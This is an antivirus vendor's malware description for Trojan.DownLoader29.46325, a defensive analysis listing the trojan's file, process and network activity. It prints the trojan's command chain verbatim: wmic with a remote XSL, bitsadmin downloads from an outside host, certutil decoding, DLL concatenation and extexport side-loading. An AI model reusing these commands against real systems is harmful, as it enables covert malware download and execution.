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Trojan.DownLoader29.46325

Added to the Dr.Web virus database: 2019-07-18

Virus description added:

Technical Information

Malicious functions
Creates and executes the following
  • '<SYSTEM32>\wbem\wmic.exe' os get 2256677ll, giieet2, NumberOfLicensedUsers /format:"http://14#.##.###.35.bc.googleusercontent.com/04/v.xsl#025090ccmvvbbvv"
  • '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtz64b.dll.z C:\Users\Public\Libraries\win32\halawxtz64b.dll
  • '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzhh23b.dll.zip.log?31####### C:\Users\Public\Libraries\win32\halawxtz64b.dll.z
  • '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtz64a.dll.z C:\Users\Public\Libraries\win32\halawxtz64a.dll
  • '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzhh23a.dll.zip.log?18####### C:\Users\Public\Libraries\win32\halawxtz64a.dll.z
  • '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzxb.~.z C:\Users\Public\Libraries\win32\halawxtzxb.~
  • '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzxb.gif.zip.log?26####### C:\Users\Public\Libraries\win32\halawxtzxb.~.z
  • '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzxa.~.z C:\Users\Public\Libraries\win32\halawxtzxa.~
  • '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzxa.gif.zip.log?24####### C:\Users\Public\Libraries\win32\halawxtzxa.~.z
  • '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzgx.gif.z C:\Users\Public\Libraries\win32\halawxtzgx.gif
  • '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzgx.gif.zip.log?40####### C:\Users\Public\Libraries\win32\halawxtzgx.gif.z
  • '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzg.gif.z C:\Users\Public\Libraries\win32\halawxtzg.gif
  • '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzg.gif.zip.log?15####### C:\Users\Public\Libraries\win32\halawxtzg.gif.z
  • '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzdx.gif.z C:\Users\Public\Libraries\win32\halawxtzdx.gif
  • '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzdx.gif.zip.log?76####### C:\Users\Public\Libraries\win32\halawxtzdx.gif.z
  • '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzdwwn.gif.z C:\Users\Public\Libraries\win32\halawxtzdwwn.gif
  • '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzdwwn.gif.zip.log?80####### C:\Users\Public\Libraries\win32\halawxtzdwwn.gif.z
  • '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzc.jpg.z C:\Users\Public\Libraries\win32\halawxtzc.jpg
  • '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzc.jpg.zip.log?72####### C:\Users\Public\Libraries\win32\halawxtzc.jpg.z
  • '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzb.jpg.z C:\Users\Public\Libraries\win32\halawxtzb.jpg
  • '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzb.jpg.zip.log?19####### C:\Users\Public\Libraries\win32\halawxtzb.jpg.z
  • '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtza.jpg.z C:\Users\Public\Libraries\win32\halawxtza.jpg
  • '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtza.jpg.zip.log?31####### C:\Users\Public\Libraries\win32\halawxtza.jpg.z
  • '<SYSTEM32>\wbem\wmic.exe' os get ZHXUDUNF, HYZOXTZP, WYXNJFYC, numberofusers /format:"http://14#.##.###.35.bc.googleusercontent.com/04/vv.xsl#223352"
  • '%ProgramFiles(x86)%\internet explorer\extexport.exe' C:\Users\Public\Libraries\win32 764530954 651106702
  • '<SYSTEM32>\timeout.exe' 4000
Modifies file system
Creates the following files
  • %TEMP%\sicxmvv.jpg:vvjje24.cmd
  • C:\users\public\libraries\win32\r1.log
  • C:\users\public\libraries\win32\halawxtzxb.~
  • C:\users\public\libraries\win32\bitded1.tmp
  • C:\users\public\libraries\win32\halawxtzxa.~
  • C:\users\public\libraries\win32\bitc6d3.tmp
  • C:\users\public\libraries\win32\halawxtzgx.gif
  • C:\users\public\libraries\win32\bita8fa.tmp
  • C:\users\public\libraries\win32\halawxtzg.gif
  • C:\users\public\libraries\win32\bit8208.tmp
  • C:\users\public\libraries\win32\halawxtzdx.gif
  • C:\users\public\libraries\win32\bit69fb.tmp
  • C:\users\public\libraries\win32\bitfa97.tmp
  • C:\users\public\libraries\win32\halawxtzdwwn.gif
  • C:\users\public\libraries\win32\halawxtzc.jpg
  • C:\users\public\libraries\win32\bit377f.tmp
  • C:\users\public\libraries\win32\halawxtzb.jpg
  • C:\users\public\libraries\win32\bit20ba.tmp
  • C:\users\public\libraries\win32\halawxtza.jpg
  • C:\users\public\libraries\win32\bitf63e.tmp
  • %TEMP%\sxsf071.tmp
  • <LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\re1n75kr\vv[1].xsl
  • %TEMP%\lgflpvnq.jpg:init.cmd
  • %TEMP%\sxse517.tmp
  • <LS_APPDATA>\microsoft\windows\<INETFILES>\content.ie5\caasbycl\v[1].xsl
  • C:\users\public\libraries\win32\bit4f6d.tmp
  • C:\users\public\libraries\win32\halawxtz64a.dll
Sets the 'hidden' attribute to the following files
  • C:\users\public\libraries\win32\bitf63e.tmp
  • C:\users\public\libraries\win32\bit20ba.tmp
  • C:\users\public\libraries\win32\bit377f.tmp
  • C:\users\public\libraries\win32\bit4f6d.tmp
  • C:\users\public\libraries\win32\bit69fb.tmp
  • C:\users\public\libraries\win32\bit8208.tmp
  • C:\users\public\libraries\win32\bita8fa.tmp
  • C:\users\public\libraries\win32\bitc6d3.tmp
  • C:\users\public\libraries\win32\bitded1.tmp
  • C:\users\public\libraries\win32\bitfa97.tmp
Moves the following files
  • from C:\users\public\libraries\win32\bitf63e.tmp to C:\users\public\libraries\win32\halawxtza.jpg.z
  • from C:\users\public\libraries\win32\bit20ba.tmp to C:\users\public\libraries\win32\halawxtzb.jpg.z
  • from C:\users\public\libraries\win32\bit377f.tmp to C:\users\public\libraries\win32\halawxtzc.jpg.z
  • from C:\users\public\libraries\win32\bit4f6d.tmp to C:\users\public\libraries\win32\halawxtzdwwn.gif.z
  • from C:\users\public\libraries\win32\bit69fb.tmp to C:\users\public\libraries\win32\halawxtzdx.gif.z
  • from C:\users\public\libraries\win32\bit8208.tmp to C:\users\public\libraries\win32\halawxtzg.gif.z
  • from C:\users\public\libraries\win32\bita8fa.tmp to C:\users\public\libraries\win32\halawxtzgx.gif.z
  • from C:\users\public\libraries\win32\bitc6d3.tmp to C:\users\public\libraries\win32\halawxtzxa.~.z
  • from C:\users\public\libraries\win32\bitded1.tmp to C:\users\public\libraries\win32\halawxtzxb.~.z
  • from C:\users\public\libraries\win32\bitfa97.tmp to C:\users\public\libraries\win32\halawxtz64a.dll.z
Network activity
TCP
HTTP GET requests
  • http://14#.##.###.35.bc.googleusercontent.com/04/v.xsl
  • http://14#.##.###.35.bc.googleusercontent.com/04/vv.xsl
  • http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtza.jpg.zip.log?31#######
  • http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzb.jpg.zip.log?19#######
  • http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzc.jpg.zip.log?72#######
  • http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzdwwn.gif.zip.log?80#######
  • http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzdx.gif.zip.log?76#######
  • http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzg.gif.zip.log?15#######
  • http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzgx.gif.zip.log?40#######
  • http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzxa.gif.zip.log?24#######
  • http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzxb.gif.zip.log?26#######
  • http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzhh23a.dll.zip.log?18#######
UDP
  • DNS ASK 14#.##.###.35.bc.googleusercontent.com
Miscellaneous
Creates and executes the following
  • '<SYSTEM32>\cmd.exe' /c echo wmic ^os ^get ^ZHXUDUNF, ^HYZOXTZP, ^WYXNJFYC, ^numberofusers ^/format:"http://14#.##.###.35.bc.googleusercontent.com/04/vv.xsl#223352" > %TMP%\LGFLPVNQ.jpg:init.cmd && %ComSpec% - < %...' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c cd "C:\Users\Public\Libraries\win32" && type halawxtz64a.dll halawxtz64b.dll > halawxtz64.dll' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c cd "C:\Users\Public\Libraries\win32" && type halawxtz64a.dll halawxtz64b.dll > sqlite3.dll' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c cd "C:\Users\Public\Libraries\win32" && type halawxtz64a.dll halawxtz64b.dll > mozsqlite3.dll' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c cd "C:\Users\Public\Libraries\win32" && type halawxtz64a.dll halawxtz64b.dll > mozcrt19.dll' (with hidden window)
  • '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtz64b.dll.z C:\Users\Public\Libraries\win32\halawxtz64b.dll' (with hidden window)
  • '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzhh23b.dll.zip.log?31####### C:\Users\Public\Libraries\win32\halawxtz64b.dll.z' (with hidden window)
  • '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtz64a.dll.z C:\Users\Public\Libraries\win32\halawxtz64a.dll' (with hidden window)
  • '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzhh23a.dll.zip.log?18####### C:\Users\Public\Libraries\win32\halawxtz64a.dll.z' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /V /C "echo 142_T3SL4S_>C:\Users\Public\Libraries\win32\r1.log"&& exit' (with hidden window)
  • '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzxb.~.z C:\Users\Public\Libraries\win32\halawxtzxb.~' (with hidden window)
  • '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzxb.gif.zip.log?26####### C:\Users\Public\Libraries\win32\halawxtzxb.~.z' (with hidden window)
  • '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzxa.~.z C:\Users\Public\Libraries\win32\halawxtzxa.~' (with hidden window)
  • '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzxa.gif.zip.log?24####### C:\Users\Public\Libraries\win32\halawxtzxa.~.z' (with hidden window)
  • '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzgx.gif.z C:\Users\Public\Libraries\win32\halawxtzgx.gif' (with hidden window)
  • '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzgx.gif.zip.log?40####### C:\Users\Public\Libraries\win32\halawxtzgx.gif.z' (with hidden window)
  • '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzg.gif.z C:\Users\Public\Libraries\win32\halawxtzg.gif' (with hidden window)
  • '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzg.gif.zip.log?15####### C:\Users\Public\Libraries\win32\halawxtzg.gif.z' (with hidden window)
  • '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzdx.gif.z C:\Users\Public\Libraries\win32\halawxtzdx.gif' (with hidden window)
  • '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzdx.gif.zip.log?76####### C:\Users\Public\Libraries\win32\halawxtzdx.gif.z' (with hidden window)
  • '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzdwwn.gif.z C:\Users\Public\Libraries\win32\halawxtzdwwn.gif' (with hidden window)
  • '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzdwwn.gif.zip.log?80####### C:\Users\Public\Libraries\win32\halawxtzdwwn.gif.z' (with hidden window)
  • '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzc.jpg.z C:\Users\Public\Libraries\win32\halawxtzc.jpg' (with hidden window)
  • '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzc.jpg.zip.log?72####### C:\Users\Public\Libraries\win32\halawxtzc.jpg.z' (with hidden window)
  • '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtzb.jpg.z C:\Users\Public\Libraries\win32\halawxtzb.jpg' (with hidden window)
  • '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtzb.jpg.zip.log?19####### C:\Users\Public\Libraries\win32\halawxtzb.jpg.z' (with hidden window)
  • '<SYSTEM32>\certutil.exe' -decode C:\Users\Public\Libraries\win32\halawxtza.jpg.z C:\Users\Public\Libraries\win32\halawxtza.jpg' (with hidden window)
  • '<SYSTEM32>\bitsadmin.exe' /transfer msd5 /priority foreground http://14#.##.###.35.bc.googleusercontent.com/x/04/halawxtza.jpg.zip.log?31####### C:\Users\Public\Libraries\win32\halawxtza.jpg.z' (with hidden window)
  • '%ProgramFiles(x86)%\internet explorer\extexport.exe' C:\Users\Public\Libraries\win32 764530954 651106702' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c echo %time% && timeout 4000 > NUL && exit' (with hidden window)
Executes the following
  • '<SYSTEM32>\cmd.exe' -
  • '<SYSTEM32>\cmd.exe' /c echo wmic ^os ^get ^ZHXUDUNF, ^HYZOXTZP, ^WYXNJFYC, ^numberofusers ^/format:"http://14#.##.###.35.bc.googleusercontent.com/04/vv.xsl#223352" > %TMP%\LGFLPVNQ.jpg:init.cmd && %ComSpec% - < %...
  • '<SYSTEM32>\cmd.exe' /V /C "echo 142_T3SL4S_>C:\Users\Public\Libraries\win32\r1.log"&& exit
  • '<SYSTEM32>\cmd.exe' /c cd "C:\Users\Public\Libraries\win32" && type halawxtz64a.dll halawxtz64b.dll > mozcrt19.dll
  • '<SYSTEM32>\cmd.exe' /c cd "C:\Users\Public\Libraries\win32" && type halawxtz64a.dll halawxtz64b.dll > mozsqlite3.dll
  • '<SYSTEM32>\cmd.exe' /c cd "C:\Users\Public\Libraries\win32" && type halawxtz64a.dll halawxtz64b.dll > sqlite3.dll
  • '<SYSTEM32>\cmd.exe' /c cd "C:\Users\Public\Libraries\win32" && type halawxtz64a.dll halawxtz64b.dll > halawxtz64.dll
  • '<SYSTEM32>\cmd.exe' /c echo %time% && timeout 4000 > NUL && exit

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
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